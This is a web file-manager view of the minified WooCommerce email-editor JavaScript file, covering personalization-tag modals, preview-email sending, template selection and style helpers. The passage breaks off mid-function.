Файловый менеджер - Редактировать - /home/iss2024/ras-store.com/wp-content/plugins/woocommerce/assets/client/admin/wp-admin-scripts/email-editor-integration.js
Ðазад
/*! For license information please see email-editor-integration.js.LICENSE.txt */ (()=>{"use strict";var e={77871:(e,t,o)=>{o.d(t,{A:()=>r});var n=o(86087);const r=(0,n.forwardRef)(function({icon:e,size:t=24,...o},r){return(0,n.cloneElement)(e,{width:t,height:t,...o,ref:r})})},33107:(e,t,o)=>{o.d(t,{A:()=>s});var n=o(5573),r=o(39793);const s=(0,r.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(n.Path,{d:"M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"})})},25298:(e,t,o)=>{o.d(t,{x:()=>g});var n=o(39793),r=o(56427),s=o(27723),i=o(86087),a=o(47143);const l=({groupedTags:e,activeCategory:t,onCategorySelect:o})=>{const a=e=>e===t?"woocommerce-personalization-tags-modal-menu-item-active":"";return(0,n.jsxs)(r.MenuGroup,{className:"woocommerce-personalization-tags-modal-menu",children:[(0,n.jsx)(r.MenuItem,{onClick:()=>o(null),className:a(null),children:(0,s.__)("All","woocommerce")}),(0,n.jsx)("div",{className:"woocommerce-personalization-tags-modal-menu-separator","aria-hidden":"true",role:"presentation","data-testid":"woocommerce-personalization-tags-modal-menu-separator"}),Object.keys(e).map((e,t,s)=>(0,n.jsxs)(i.Fragment,{children:[(0,n.jsx)(r.MenuItem,{onClick:()=>o(e),className:a(e),children:e}),t<s.length-1&&(0,n.jsx)("div",{className:"woocommerce-personalization-tags-modal-menu-separator","aria-hidden":"true",role:"presentation","data-testid":"woocommerce-personalization-tags-modal-menu-separator"})]},e))]})};var c=o(94715);const d=({groupedTags:e,activeCategory:t,onInsert:o,canInsertLink:i,closeCallback:l,openLinkModal:d})=>{const{updateBlockAttributes:m}=(0,a.useDispatch)(c.store),u=(0,a.useSelect)(e=>e(c.store).getSelectedBlockClientId()),p=(0,a.useSelect)(e=>e(c.store).getBlock(u)),g=["core/button"].includes(p?.name),_=null===t?Object.entries(e):[[t,e[t]||[]]];return(0,n.jsx)(n.Fragment,{children:_.map(([e,t])=>(0,n.jsxs)("div",{children:[(0,n.jsx)("div",{className:"woocommerce-personalization-tags-modal-category",children:e}),(0,n.jsx)("div",{className:"woocommerce-personalization-tags-modal-category-group",children:t.map(t=>{const a=/\burl\b/.test(t.token);return(0,n.jsxs)("div",{className:"woocommerce-personalization-tags-modal-category-group-item",children:[(0,n.jsxs)("div",{className:"woocommerce-personalization-tags-modal-item-text",children:[(0,n.jsx)("strong",{children:t.name}),t.valueToInsert]}),(0,n.jsxs)("div",{style:{display:"flex",flexDirection:"column",alignItems:"flex-end"},children:[(0,n.jsx)(r.Button,{variant:"link",onClick:()=>{o&&o(t.valueToInsert,!1)},children:(0,s.__)("Insert","woocommerce")}),g&&a&&(0,n.jsx)(r.Button,{variant:"link",onClick:()=>{m(u,{url:t.valueToInsert}),l()},children:(0,s.__)("Set as URL","woocommerce")}),e===(0,s.__)("Link","woocommerce")&&i&&(0,n.jsx)(n.Fragment,{children:(0,n.jsx)(r.Button,{variant:"link",onClick:()=>{l(),d(t)},children:(0,s.__)("Insert as link","woocommerce")})})]})]},t.token)})})]},e))})},m=({onInsert:e,isOpened:t,closeCallback:o,tag:a})=>{const[l,c]=(0,i.useState)((0,s.__)("Link","woocommerce"));return t?(0,n.jsxs)(r.Modal,{size:"small",title:(0,s.__)("Insert Link","woocommerce"),onRequestClose:o,className:"woocommerce-personalization-tags-modal",children:[(0,n.jsx)(r.TextControl,{label:(0,s.__)("Link Text","woocommerce"),value:l,onChange:c}),(0,n.jsx)(r.Button,{isPrimary:!0,onClick:()=>{e&&e(a.token,l)},children:(0,s.__)("Insert","woocommerce")})]}):null};var u=o(98038),p=o(23886);const g=({onInsert:e,isOpened:t,closeCallback:o,canInsertLink:c=!1,openedBy:g=""})=>{const[_,h]=(0,i.useState)(null),[y,f]=(0,i.useState)(""),[w,x]=(0,i.useState)(null),[b,v]=(0,i.useState)(!1),S=(0,a.useSelect)(e=>e(p.H).getPersonalizationTagsList(),[]);if(b)return(0,n.jsx)(m,{onInsert:(t,o)=>{e(t,o),v(!1)},isOpened:b,closeCallback:()=>v(!1),tag:w});if(!t)return null;(0,u.xW)("personalization_tags_modal_opened",{openedBy:g});const j=S.reduce((e,t)=>{const{category:o,name:n,token:r}=t;return(!y||n.toLowerCase().includes(y.toLowerCase())||r.toLowerCase().includes(y.toLowerCase()))&&(e[o]||(e[o]=[]),e[o].push(t)),e},{});return(0,n.jsxs)(r.Modal,{size:"medium",title:(0,s.__)("Personalization Tags","woocommerce"),onRequestClose:()=>{o(),(0,u.yM)("personalization_tags_modal_closed",{openedBy:g})},className:"woocommerce-personalization-tags-modal",children:[(0,n.jsxs)("p",{children:[(0,s.__)("Insert personalization tags to dynamically fill in information and personalize your emails.","woocommerce")," ",(0,n.jsx)(r.ExternalLink,{href:"https://kb.mailpoet.com/article/435-a-guide-to-personalisation-tags-for-tailored-newsletters#list",onClick:()=>(0,u.yM)("personalization_tags_modal_learn_more_link_clicked",{openedBy:g}),children:(0,s.__)("Learn more","woocommerce")})]}),(0,n.jsx)(r.SearchControl,{onChange:e=>{f(e),(0,u.xW)("personalization_tags_modal_search_control_input_updated",{openedBy:g})},value:y}),(0,n.jsx)(l,{groupedTags:j,activeCategory:_,onCategorySelect:e=>{h(e),(0,u.yM)("personalization_tags_modal_category_menu_clicked",{category:e,openedBy:g})}}),(0,n.jsx)(d,{groupedTags:j,activeCategory:_,onInsert:t=>{e(t),(0,u.yM)("personalization_tags_modal_tag_insert_button_clicked",{insertedTag:t,activeCategory:_,openedBy:g})},closeCallback:o,canInsertLink:c,openLinkModal:e=>{x(e),v(!0)}})]})}},33303:(e,t,o)=>{o.d(t,{t:()=>a});var n=o(39793),r=o(86087),s=o(56427),i=o(27723);const a=({contentRef:e,onUpdate:t})=>{const[o,a]=(0,r.useState)(!1),[l,c]=(0,r.useState)(null),[d,m]=(0,r.useState)(""),[u,p]=(0,r.useState)("");return(0,r.useEffect)(()=>{if(!e||!e.current)return;const t=e.current,o=e=>{const t=e.target.closest("span[data-rich-text-comment]");if(t){const e=t.innerText.replace(/^\[|\]$/g,"");p(e),m(e),c(t),a(!0)}};return t.addEventListener("click",o),()=>{t.removeEventListener("click",o)}},[e]),(0,n.jsx)(n.Fragment,{children:o&&l&&(0,n.jsx)(s.Popover,{position:"bottom right",onClose:()=>a(!1),anchor:l,className:"woocommerce-personalization-tag-popover",children:(0,n.jsxs)("div",{className:"woocommerce-personalization-tag-popover-content",children:[(0,n.jsx)(s.TextControl,{label:(0,i.__)("Personalization Tag","woocommerce"),value:d,onChange:e=>m(e),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,n.jsxs)("div",{className:"woocommerce-personalization-tag-popover-content-buttons",children:[(0,n.jsx)(s.Button,{isTertiary:!0,onClick:()=>{a(!1)},children:(0,i.__)("Cancel","woocommerce")}),(0,n.jsx)(s.Button,{isPrimary:!0,onClick:()=>{t(u,d),a(!1)},children:(0,i.__)("Update","woocommerce")})]})]})})})}},26479:(e,t,o)=>{o.d(t,{D:()=>s,E:()=>r});var n=o(50876);const r=(e,t)=>{const o=e.current.ownerDocument.defaultView.getSelection();if(!o.rangeCount)return{start:0,end:0};const r=o.getRangeAt(0);if(null===o.anchorNode.previousSibling)return{start:o.anchorOffset,end:o.anchorOffset+r.toString().length};const s=(0,n.create)({html:t});let i=o.anchorNode.previousSibling;i=function(e){let t=e;for(;t&&t?.children?.length>0;)t=t.children[0];return t}(i);const a=function(e,t){let o=null;for(const[n,r]of t.entries())if(r)for(const t of r)t?.attributes&&e.tagName.toLowerCase()===t.tagName?.toLowerCase()&&e.getAttribute("data-link-href")===t?.attributes["data-link-href"]&&(o=n);return o}(i,s.formats);if(null!==a)return{start:a+o.anchorOffset+1,end:a+o.anchorOffset+r.toString().length};const l=function(e,t){for(const[o,n]of t.entries()){if(!n)continue;const{attributes:t}=n;if(e.getAttribute("data-rich-text-comment")===t["data-rich-text-comment"])return o}return null}(i,s.replacements);return null!==l?{start:l+o.anchorOffset+1,end:l+o.anchorOffset+r.toString().length}:{start:s.text.length,end:s.text.length+r.toString().length}},s=(e,t)=>(t.forEach(t=>{if(!e.includes(t.token.slice(0,t.token.length-1)))return;const o=t.token.substring(1,t.token.length-1).replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),n=new RegExp(`(?<!\x3c!--)(?<!["'])\\[(${o}(\\s[^\\]]*)?)\\](?!--\x3e)`,"g");e=e.replace(n,e=>`\x3c!--${e}--\x3e`)}),e)},34409:(e,t,o)=>{o.d(t,{O:()=>_});var n=o(39793),r=o(56427),s=o(47143),i=o(86087),a=o(50876),l=o(94715),c=o(27723),d=o(25298),m=o(26479),u=o(23886),p=o(33303),g=o(98038);function _({label:e,labelSuffix:t,help:o,placeholder:_,attributeName:h,attributeValue:y,updateProperty:f=()=>{}}){const[w,x]=(0,i.useState)(null),[b,v]=(0,i.useState)(!1),S=(0,s.useSelect)(e=>e(u.H).getPersonalizationTagsList(),[]),j=(0,i.useRef)(null),k=(0,i.useCallback)((e,t,o)=>{const n=o?.start??t.length,r=o?.end??t.length;let s=(0,a.create)({html:t});s=(0,a.insert)(s,(0,a.create)({html:`\x3c!--${e}--\x3e`}),n,r);const i=(0,a.toHTMLString)({value:s});f(h,i),x(null)},[h,f]),E=(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("span",{children:e}),(0,n.jsx)(r.Button,{className:"woocommerce-settings-panel-personalization-tags-button",icon:"shortcode",title:(0,c.__)("Personalization Tags","woocommerce"),onClick:()=>{v(!0),(0,g.yM)("rich_text_with_button_personalization_tags_shortcode_icon_clicked",{attributeName:h,label:e})}}),t]});return h?(0,n.jsxs)(r.BaseControl,{id:"",label:E,className:`woocommerce-settings-panel-${h}-text`,help:o,__nextHasNoMarginBottom:!0,children:[(0,n.jsx)(d.x,{isOpened:b,onInsert:e=>{k(e,y??"",w),v(!1),(0,g.yM)("rich_text_with_button_personalization_tags_inserted",{attributeName:h,value:e})},closeCallback:()=>v(!1),openedBy:"RichTextWithButton-BaseControl"}),(0,n.jsx)(p.t,{contentRef:j,onUpdate:(e,t)=>{const o=(y??"").replace(`\x3c!--[${e}]--\x3e`,`\x3c!--[${t}]--\x3e`);f(h,o)}}),(0,n.jsx)(l.RichText,{ref:j,className:"woocommerce-settings-panel-richtext",placeholder:_,onFocus:()=>{x((0,m.E)(j,y??""))},onKeyUp:()=>{x((0,m.E)(j,y??""))},onClick:()=>{x((0,m.E)(j,y??""))},onChange:e=>{e=(0,m.D)(e??"",S),f(h,e),(0,g.xW)("rich_text_with_button_input_field_updated",{attributeName:h})},value:y??"","data-automation-id":`email_${h}`})]}):null}},38584:(e,t,o)=>{o.d(t,{P:()=>y});var n=o(39793),r=o(56427),s=o(47143),i=o(77871),a=o(5573);const l=(0,n.jsx)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(a.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})});var c=o(27723),d=o(86087),m=o(48558);const u=window.wp.url;var p=o(52619),g=o(23886),_=o(6986),h=o(98038);const y=(0,d.memo)(function(){const e=(0,d.useRef)(null),{requestSendingNewsletterPreview:t,togglePreviewModal:o,updateSendPreviewEmail:a}=(0,s.useDispatch)(g.H),{toEmail:y,isSendingPreviewEmail:f,sendingPreviewStatus:w,isModalOpened:x,errorMessage:b,postType:v}=(0,s.useSelect)(e=>({...e(g.H).getPreviewState(),postType:e(g.H).getEmailPostType()}),[]),S=()=>{t(y)},j=(0,d.useMemo)(()=>(0,p.applyFilters)("woocommerce_email_editor_check_sending_method_configuration_link",`https://www.mailpoet.com/blog/mailpoet-smtp-plugin/?utm_source=woocommerce_email_editor&utm_medium=plugin&utm_source_platform=${v}`),[v]),k=()=>{(0,h.yM)("send_preview_email_modal_closed"),o(!1)};return(0,d.useEffect)(()=>{x&&(e.current?.focus(),(0,h.yM)("send_preview_email_modal_opened"))},[x]),x?(0,n.jsxs)(r.Modal,{className:"woocommerce-send-preview-email",title:(0,c.__)("Send a test email","woocommerce"),onRequestClose:k,focusOnMount:!1,children:[w===_.T.ERROR?(0,n.jsxs)("div",{className:"woocommerce-send-preview-modal-notice-error",children:[(0,n.jsx)("p",{children:(0,c.__)("Sorry, we were unable to send this email.","woocommerce")}),(0,n.jsx)("strong",{children:b&&(0,c.sprintf)((0,c.__)("Error: %s","woocommerce"),b)}),(0,n.jsxs)("ul",{children:[(0,n.jsx)("li",{children:j&&(0,d.createInterpolateElement)((0,c.__)("Please check your <link>sending method configuration</link> with your hosting provider.","woocommerce"),{link:(0,n.jsx)("a",{href:j,target:"_blank",rel:"noopener noreferrer",onClick:()=>(0,h.yM)("send_preview_email_modal_check_sending_method_configuration_link_clicked")})})}),(0,n.jsx)("li",{children:(0,d.createInterpolateElement)((0,c.__)("Or, sign up for MailPoet Sending Service to easily send emails. <link>Sign up for free</link>","woocommerce"),{link:(0,n.jsx)("a",{href:`https://account.mailpoet.com/?s=1&g=1&utm_source=woocommerce_email_editor&utm_medium=plugin&utm_source_platform=${v}`,target:"_blank",rel:"noopener noreferrer",onClick:()=>(0,h.yM)("send_preview_email_modal_sign_up_for_mailpoet_sending_service_link_clicked")},"sign-up-for-free")})})]})]}):null,(0,n.jsx)("p",{children:(0,c.__)("Send yourself a test email to test how your email would look like in different email apps.","woocommerce")}),(0,n.jsx)(r.TextControl,{label:(0,c.__)("Send to","woocommerce"),onChange:e=>{a(e),(0,h.xW)("send_preview_email_modal_send_to_field_updated")},onKeyDown:e=>{const{keyCode:t}=e;t===m.ENTER&&(e.preventDefault(),S(),(0,h.yM)("send_preview_email_modal_send_to_field_key_code_enter"))},className:"woocommerce-send-preview-email__send-to-field",value:y,type:"email",ref:e,required:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0}),w===_.T.SUCCESS?(0,n.jsxs)("p",{className:"woocommerce-send-preview-modal-notice-success",children:[(0,n.jsx)(i.A,{icon:l,style:{fill:"#4AB866"}}),(0,c.__)("Test email sent successfully!","woocommerce")]}):null,(0,n.jsxs)("div",{className:"woocommerce-send-preview-modal-footer",children:[(0,n.jsx)(r.Button,{variant:"tertiary",onClick:()=>{(0,h.yM)("send_preview_email_modal_close_button_clicked"),k()},children:(0,c.__)("Cancel","woocommerce")}),(0,n.jsx)(r.Button,{variant:"primary",onClick:()=>{S(),(0,h.yM)("send_preview_email_modal_send_test_email_button_clicked")},disabled:f||!(0,u.isEmail)(y),children:f?(0,c.__)("Sending…","woocommerce"):(0,c.__)("Send test email","woocommerce")})]})]}):null})},77003:(e,t,o)=>{o.d(t,{L:()=>u,O:()=>g});var n=o(39793),r=o(27723),s=o(52619),i=o(86087),a=o(56427),l=o(43656),c=o(34409),d=o(98038);const m={recordEvent:d.yM,recordEventOnce:d.xW,debouncedRecordEvent:d.T7},{Fill:u,Slot:p}=(0,a.createSlotFill)("WooCommerceEmailEditorPostSummarySection");function g(){const e=(0,i.useMemo)(()=>(0,s.applyFilters)("woocommerce_email_editor_setting_sidebar_extension_component",c.O,m),[]);return(0,n.jsxs)(l.PluginDocumentSettingPanel,{name:"email-settings-panel",title:(0,r.__)("Settings","woocommerce"),className:"woocommerce-email-editor__settings-panel",children:[(0,n.jsx)(p,{}),(0,n.jsx)(l.ErrorBoundary,{canCopyContent:!0,children:(0,n.jsx)(e,{})})]})}},51942:(e,t,o)=>{o.d(t,{i:()=>E});var n=o(39793),r=o(86087),s=o(43656),i=o(3582),a=o(47143),l=o(56427),c=o(27723),d=o(98290),m=o(23886),u=o(77871),p=o(5573);const g=(0,n.jsx)(p.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(p.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})}),_=(0,n.jsx)(p.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)(p.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"})});var h=o(94715);const y=(0,window.wp.priorityQueue.createQueue)();function f({children:e,placeholder:t}){const[o,n]=(0,r.useState)(!1);return(0,r.useEffect)(()=>{const e={};return y.add(e,()=>{(0,r.flushSync)(()=>{n(!0)})}),()=>{y.cancel(e)}},[]),o?e:t}var w=o(18056);function x(){return(0,n.jsxs)("div",{className:"block-editor-inserter__no-results",children:[(0,n.jsx)(u.A,{className:"block-editor-inserter__no-results-icon",icon:g}),(0,n.jsx)("p",{children:(0,c.__)("No recent templates.","woocommerce")}),(0,n.jsx)("p",{children:(0,c.__)("Your recent creations will appear here as soon as you begin.","woocommerce")})]})}const b=(0,r.memo)(function({templates:e,onTemplateSelection:t,selectedCategory:o}){const{layout:r}=(0,a.useSelect)(e=>{const{getEditorSettings:t}=e(s.store),o=t();return{layout:o?.__experimentalFeatures?.layout}}),[i]=(0,w.b)(),d=i.reduce((e,t)=>e+(t.css??""),"")+`.is-root-container { width: ${r?.contentSize||"660px"}; margin: 0 auto; }`;return"recent"===o&&0===e.length?(0,n.jsx)(x,{}):(0,n.jsx)("div",{className:"block-editor-block-patterns-list",role:"listbox",children:e.map(e=>(0,n.jsx)("div",{className:"block-editor-block-patterns-list__list-item email-editor-pattern__list-item",children:(0,n.jsx)("div",{className:"block-editor-block-patterns-list__item",role:"button",tabIndex:0,onClick:()=>{t(e)},onKeyPress:o=>{"Enter"!==o.key&&" "!==o.key||t(e)},children:(0,n.jsxs)(f,{placeholder:(0,n.jsx)("p",{children:(0,c.__)("rendering template","woocommerce")}),children:[(0,n.jsx)(h.BlockPreview,{blocks:e.previewContentParsed,viewportWidth:900,minHeight:300,additionalStyles:[{css:d}]}),(0,n.jsx)(l.__experimentalHStack,{className:"block-editor-patterns__pattern-details",children:(0,n.jsx)("h4",{className:"block-editor-block-patterns-list__item-title",children:e.displayName})})]})})},`${e.slug}_${e.displayName}_${e.id}`))})},(e,t)=>e.templates.length===t.templates.length&&e.selectedCategory===t.selectedCategory);function v({templates:e,onTemplateSelection:t,selectedCategory:o}){const s=(0,r.useMemo)(()=>null!=o?e.filter(e=>e.category===o):e,[o,e]);return(0,n.jsxs)("div",{className:"block-editor-block-patterns-explorer__list",children:["recent"===o&&(0,n.jsx)("div",{className:"email-editor-recent-templates-info",children:(0,n.jsxs)(l.__experimentalHStack,{spacing:1,expanded:!1,justify:"start",children:[(0,n.jsx)(u.A,{icon:_}),(0,n.jsx)("p",{children:(0,c.__)("Templates created on the legacy editor will not appear here.","woocommerce")})]})}),(0,n.jsx)(b,{templates:s,onTemplateSelection:t,selectedCategory:o})]})}function S({selectedCategory:e,templateCategories:t,onClickCategory:o}){const r="block-editor-block-patterns-explorer__sidebar";return(0,n.jsx)("div",{className:r,children:(0,n.jsx)("div",{className:`${r}__categories-list`,children:t.map(({name:t,label:s})=>(0,n.jsx)(l.Button,{label:s,className:`${r}__categories-list__item`,isPressed:e===t,onClick:()=>{o(t)},children:s},t))})})}var j=o(98038);const k=(0,r.memo)(function({templates:e,handleTemplateSelection:t,templateSelectMode:o}){const s=(0,a.useSelect)(e=>e(i.store).getBlockPatternCategories(),[]),l="swap"===o,d=(0,r.useMemo)(()=>{const t=function(e,t){const o=new Map(t.map(e=>[e.name,e.label]));o.set("recent",(0,c.__)("Recent","woocommerce"));const n=new Set;for(const t of e)t.category&&n.add(t.category);return[...n].map(e=>({name:e,label:o.get(e)??e}))}(e,s??[]);return l?t.filter(e=>"recent"!==e.name):t.sort((e,t)=>"recent"===e.name?-1:"recent"===t.name?1:0)},[e,s,l]),[m,u]=(0,r.useState)(null);return(0,r.useEffect)(()=>{if(null!==m||0===d.length)return;const e=setTimeout(()=>{const e=d.find(e=>"recent"!==e.name)?.name??d[0]?.name;u(e)},1e3);return()=>clearTimeout(e)},[d,m]),(0,n.jsxs)("div",{className:"block-editor-block-patterns-explorer"+(0===d.length?" no-sidebar":""),children:[d.length>0&&(0,n.jsx)(S,{templateCategories:d,selectedCategory:m,onClickCategory:e=>{(0,j.yM)("template_select_modal_category_change",{category:e}),u(e)}}),(0,n.jsx)(v,{templates:e,onTemplateSelection:t,selectedCategory:m})]})});function E({onSelectCallback:e,closeCallback:t=null,previewContent:o="",postType:r}){const i=o?"swap":"new";(0,j.xW)("template_select_modal_opened",{templateSelectMode:i});const[u,p]=(0,d.p)(o),g=u?.length>0,_=t=>{const n=t.type===r,l=t.template;(0,j.yM)("template_select_modal_template_selected",{templateSlug:t.slug,templateSelectMode:i,templateType:t.type}),o||(0,a.dispatch)(s.store).resetEditorBlocks(t.emailParsed),(0,a.dispatch)(m.H).setTemplateToPost(n?l.template:t.slug),e()},h=()=>{const e=u[0]??null;e&&((0,j.yM)("template_select_modal_handle_close_without_template_selected"),_(e))};return(0,n.jsxs)(l.Modal,{title:"new"===i?(0,c.__)("Start with an email preset","woocommerce"):(0,c.__)("Select a template","woocommerce"),onRequestClose:()=>((0,j.yM)("template_select_modal_closed",{templateSelectMode:i}),t?t():h()),isFullScreen:!0,children:[(0,n.jsx)(k,{templates:[...u,...p],handleTemplateSelection:_,templateSelectMode:i}),(0,n.jsx)(l.Flex,{className:"email-editor-modal-footer",justify:"flex-end",children:(0,n.jsx)(l.FlexItem,{children:(0,n.jsx)(l.Button,{variant:"tertiary",className:"email-editor-start_from_scratch_button",onClick:()=>((0,j.yM)("template_select_modal_start_from_scratch_clicked"),h()),isBusy:!g,children:(0,c.__)("Start from scratch","woocommerce")})})})]})}},482:(e,t,o)=>{o.d(t,{G:()=>s});var n=o(74997);const r=new Map;function s(e,t){const o=(0,n.getBlockType)(e);if(!o)return!1;const{name:s,...i}=o;try{r.has(s)||r.set(s,{...i});const e=t(i),o={...i,...e};return(0,n.unregisterBlockType)(s),(0,n.registerBlockType)(s,o),!0}catch(t){return console.error("Failed to update block settings for",e,t),!1}}},88323:(e,t,o)=>{o.d(t,{oj:()=>i});var n=o(74997),r=o(47143);new Set;const s=new Map;function i(e,t){const o=((0,r.select)("core/blocks").getBlockStyles(e)||[]).find(e=>e.name===t);if(o){const n=s.get(e)||[];n.find(e=>e.name===t)||(n.push(o),s.set(e,n))}(0,n.unregisterBlockStyle)(e,t)}},26146:(e,t,o)=>{o.d(t,{z:()=>s});var n=o(74997);const r=new Set;function s(e,t){(0,n.registerBlockVariation)(e,t),r.add(function(e,t){return`${e}||${t}`}(e,t.name))}},29477:(e,t,o)=>{o.d(t,{HY:()=>a,tN:()=>l});var n=o(52619);const r=new Set,s=new Set;function i(e,t){return`${e}||${t}`}function a(e,t,o,s){(0,n.addFilter)(e,t,o,s),r.add(i(e,t))}function l(e,t,o,r){(0,n.addAction)(e,t,o,r),s.add(i(e,t))}},3638:(e,t,o)=>{o.d(t,{gG:()=>i,le:()=>a});var n=o(50876);const r=new Set,s=new Map;function i(e,t){(0,n.registerFormatType)(e,t),r.add(e)}function a(e){const t=(0,n.unregisterFormatType)(e);t&&s.set(e,t)}},98038:(e,t,o)=>{o.d(t,{T7:()=>d,V1:()=>s,oh:()=>a,vD:()=>i,xW:()=>c,yM:()=>l});var n=o(66087),r=o(52619);const s=()=>(0,r.applyFilters)("woocommerce_email_editor_events_tracking_enabled",!1),i="email_editor_events",a=new EventTarget,l=(e,t={})=>{if(!s())return;const o={name:`${i}_${e}`,..."object"!=typeof t?{data:t}:t};a.dispatchEvent(new CustomEvent(i,{detail:o}))},c=function(){const e={};return(t,o={})=>{if(!s())return;const n=`${t}_${JSON.stringify(o).length}`;e[n]||(l(t,o),e[n]=!0)}}(),d=(0,n.debounce)(l,700)},18056:(e,t,o)=>{o.d(t,{b:()=>je});var n=o(86087),r=o(47143),s=o(43656),i=o(76597),a=o.n(i),l=o(23886),c=o(66149),d=o(74997);const m=window.wp.styleEngine;function u(e,t={}){if("string"!=typeof e&&"number"!=typeof e)return null;isFinite(e)&&(e=`${e}px`);const{coerceTo:o,rootSizeValue:n,acceptableUnits:r}={coerceTo:"",rootSizeValue:16,acceptableUnits:["rem","px","em"],...t},s=r?.join("|"),i=new RegExp(`^(\\d*\\.?\\d+)(${s}){1,1}$`),a=e.toString().match(i);if(!a||a.length<3)return null;let[,l,c]=a,d=parseFloat(l);return"px"!==o||"em"!==c&&"rem"!==c||(d*=n,c=o),"px"!==c||"em"!==o&&"rem"!==o||(d/=n,c=o),"em"!==o&&"rem"!==o||"em"!==c&&"rem"!==c||(c=o),c?{value:p(d,3),unit:c}:null}function p(e,t=3){const o=Math.pow(10,t);return Math.round(e*o)/o}function g(e){const t=e?.fluid;return!0===t||t&&"object"==typeof t&&Object.keys(t).length>0}function _(e,t){const{size:o}=e;if(!o||"0"===o||!1===e?.fluid)return o;if(!g(t?.typography)&&!g(e))return o;const n=function(e){const t=e?.typography??{},o=e?.layout,n=u(o?.wideSize)?o?.wideSize:null;return g(t)&&n?{fluid:{maxViewportWidth:n,..."object"==typeof t.fluid?t.fluid:{}}}:{fluid:t?.fluid}}(t)?.fluid??{};return function({minimumFontSize:e,maximumFontSize:t,fontSize:o,minimumViewportWidth:n="320px",maximumViewportWidth:r="1600px",scaleFactor:s=1,minimumFontSizeLimit:i}){if(i=u(i)?i:"14px",o){const n=u(o);if(!n?.unit||!n?.value)return null;const r=u(i,{coerceTo:n.unit});if(r?.value&&!e&&!t&&n?.value<=r?.value)return null;if(t||(t=`${n.value}${n.unit}`),!e){const t="px"===n.unit?n.value:16*n.value,o=Math.min(Math.max(1-.075*Math.log2(t),.25),.75),s=p(n.value*o,3);e=r?.value&&s<r?.value?`${r.value}${r.unit}`:`${s}${n.unit}`}}const a=u(e),l=a?.unit||"rem",c=u(t,{coerceTo:l});if(!a||!c)return null;const d=u(e,{coerceTo:"rem"}),m=u(r,{coerceTo:l}),g=u(n,{coerceTo:l});if(!m||!g||!d)return null;const _=m.value-g.value;if(!_)return null;const h=p(g.value/100,3),y=p(h,3)+l,f=p(((c.value-a.value)/_*100||1)*s,3);return`clamp(${e}, ${d.value}${d.unit} + ((1vw - ${y}) * ${f}), ${t})`}({minimumFontSize:"boolean"==typeof e?.fluid?void 0:e?.fluid?.min,maximumFontSize:"boolean"==typeof e?.fluid?void 0:e?.fluid?.max,fontSize:o,minimumFontSizeLimit:"object"==typeof n?n?.minFontSize:void 0,maximumViewportWidth:"object"==typeof n?n?.maxViewportWidth:void 0,minimumViewportWidth:"object"==typeof n?n?.minViewportWidth:void 0})||o}function h(e,t,o){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};const n=t.pop();let r=e;for(const e of t){const t=r[e];r=r[e]=Array.isArray(t)?[...t]:{...t}}return r[n]=o,e}var y=(e,t,o)=>{const n=Array.isArray(t)?t:t.split(".");let r=e;return n.forEach(e=>{r=r?.[e]}),r??o},f="body",w=":root",x=[{path:["color","palette"],valueKey:"color",cssVarInfix:"color",classes:[{classSuffix:"color",propertyName:"color"},{classSuffix:"background-color",propertyName:"background-color"},{classSuffix:"border-color",propertyName:"border-color"}]},{path:["color","gradients"],valueKey:"gradient",cssVarInfix:"gradient",classes:[{classSuffix:"gradient-background",propertyName:"background"}]},{path:["color","duotone"],valueKey:"colors",cssVarInfix:"duotone",valueFunc:({slug:e})=>`url( '#wp-duotone-${e}' )`,classes:[]},{path:["shadow","presets"],valueKey:"shadow",cssVarInfix:"shadow",classes:[]},{path:["typography","fontSizes"],valueFunc:(e,t)=>_(e,t),valueKey:"size",cssVarInfix:"font-size",classes:[{classSuffix:"font-size",propertyName:"font-size"}]},{path:["typography","fontFamilies"],valueKey:"fontFamily",cssVarInfix:"font-family",classes:[{classSuffix:"font-family",propertyName:"font-family"}]},{path:["spacing","spacingSizes"],valueKey:"size",cssVarInfix:"spacing",valueFunc:({size:e})=>e,classes:[]},{path:["border","radiusSizes"],valueKey:"size",cssVarInfix:"border-radius",classes:[]},{path:["dimensions","dimensionSizes"],valueKey:"size",cssVarInfix:"dimension",classes:[]}];function b(e,t){if(!e||!t)return t;const o=e.split(","),n=t.split(","),r=[];return o.forEach(e=>{n.forEach(t=>{r.push(`${e.trim()} ${t.trim()}`)})}),r.join(", ")}function v(e,t){if(!e||!t)return e;const o=function(e,t){if(!e||!t)return e;if("object"==typeof e&&"ref"in e&&e?.ref){const o=(0,m.getCSSValueFromRawStyle)(y(t,e.ref));if("object"==typeof o&&null!==o&&"ref"in o&&o?.ref)return;return void 0===o?e:o}return e}(e,t);return"object"==typeof o&&null!==o&&"url"in o&&o?.url&&(o.url=function(e,t){if(!e||!t||!Array.isArray(t))return e;const o=t.find(t=>t?.name===e);return o?.href?o?.href:e}(o.url,t?._links?.["wp:theme-file"])),o}function S(e,t="root",o={}){if(!t)return 